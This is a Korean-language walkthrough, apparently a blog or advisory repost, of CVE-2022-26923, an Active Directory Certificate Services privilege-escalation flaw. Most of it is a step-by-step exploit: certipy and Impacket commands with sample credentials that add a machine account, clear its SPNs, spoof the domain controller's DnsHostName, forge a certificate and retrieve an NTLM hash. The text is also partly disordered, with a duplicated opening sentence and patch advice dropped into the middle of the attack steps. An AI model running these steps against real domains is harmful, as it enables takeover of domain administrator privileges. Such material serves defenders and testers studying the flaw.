
이 취약점으로 인해 Active Directory Certificate Services(AD CS) 서버 역할이 설치된 기본 Active Directory 환경에서 낮은 권한의 사용자가 권한을 상승시켜 도메인 관리자가 될 수 있었습니다.
이 취약점으로 인해 낮은 권한의 사용자가 Active Directory 인증서 서비스(AD CS) 서버 역할이 설치된 기본 Active Directory 환경에서 도메인 관리자로 권한을 상승시킬 수 있었습니다.
Oliver Lyak(ly4k_)이 Python으로 익스플로잇을 개발했으며, 이는 공지 이전에 게시되었고 이후에는 게시되지 않았습니다. 개념 증명(PoC)으로 선언되었습니다. 익스플로잇은 research.ifcr.dk에서 다운로드할 수 있습니다.
출처 :
새로 공개된 Active Directory 도메인 권한 상승 결함은 아직 실제 환경에서 악용되지는 않았지만, 높은 CVSS 점수 8.8은 손상된 시스템에 높은 위험을 초래하여 공격자가 인증서 문제를 남용할 수 있음을 나타냅니다. CVE-2022–26923은 DNS에 등록된 컴퓨터 이름을 지정하는 DnsHostName 특성을 조작할 수 있으며, 이를 통해 공격자는 AD 인증서 서비스에서 인증서를 획득하여 잠재적으로 권한 상승으로 이어질 수 있습니다.
- Username: user_test
- Password: Password123#
- Domain: my.domain.com
To reproduce you must:
- Have impacket and certipy installed on the attacking machine.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Have compromised a user with low privilege.
- A system is vulnerable only if Active Directory Certificate Services is running on the domain.
낮은 권한의 AD 사용자(Username=user_test Password=Password123#)를 위해 User 인증서 템플릿을 사용하여 인증서 생성을 시작해 보겠습니다:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
인증서가 유효하고 Certipy를 통해 Kerberos 인증에 사용할 수 있는지 확인해 보겠습니다:
certipy auth -pfx user_test.pfx
Impacket을 사용하여 도메인에 가상 컴퓨터 추가
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
생성한 새 컴퓨터에 대한 인증서를 생성해 보겠습니다. 해당 컴퓨터의 컴퓨터 계정을 사용하려면 이름 끝에 "$"를 추가해야 합니다:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
손상된 시스템에서 DNS 호스트 이름 및 SPN 특성 업데이트:
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
CVE-2022–26923 완화 및 보호 조치를 위해 Microsoft는 AD 인증서 서비스를 실행하는 모든 서버와 인증서 기반 인증을 운영하는 Windows 도메인 컨트롤러를 최신 5월 10일 버전으로 업데이트할 것을 강력히 권장합니다.
현재 SPN 특성 제거
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
DNS 호스트 이름 특성을 DC의 것으로 설정해 보겠습니다:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
공격 머신에서 악성 인증서 위조
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
이 인증서가 작동하고 NTLM 해시를 반환하는지 확인
certipy auth -pfx hostname.pfx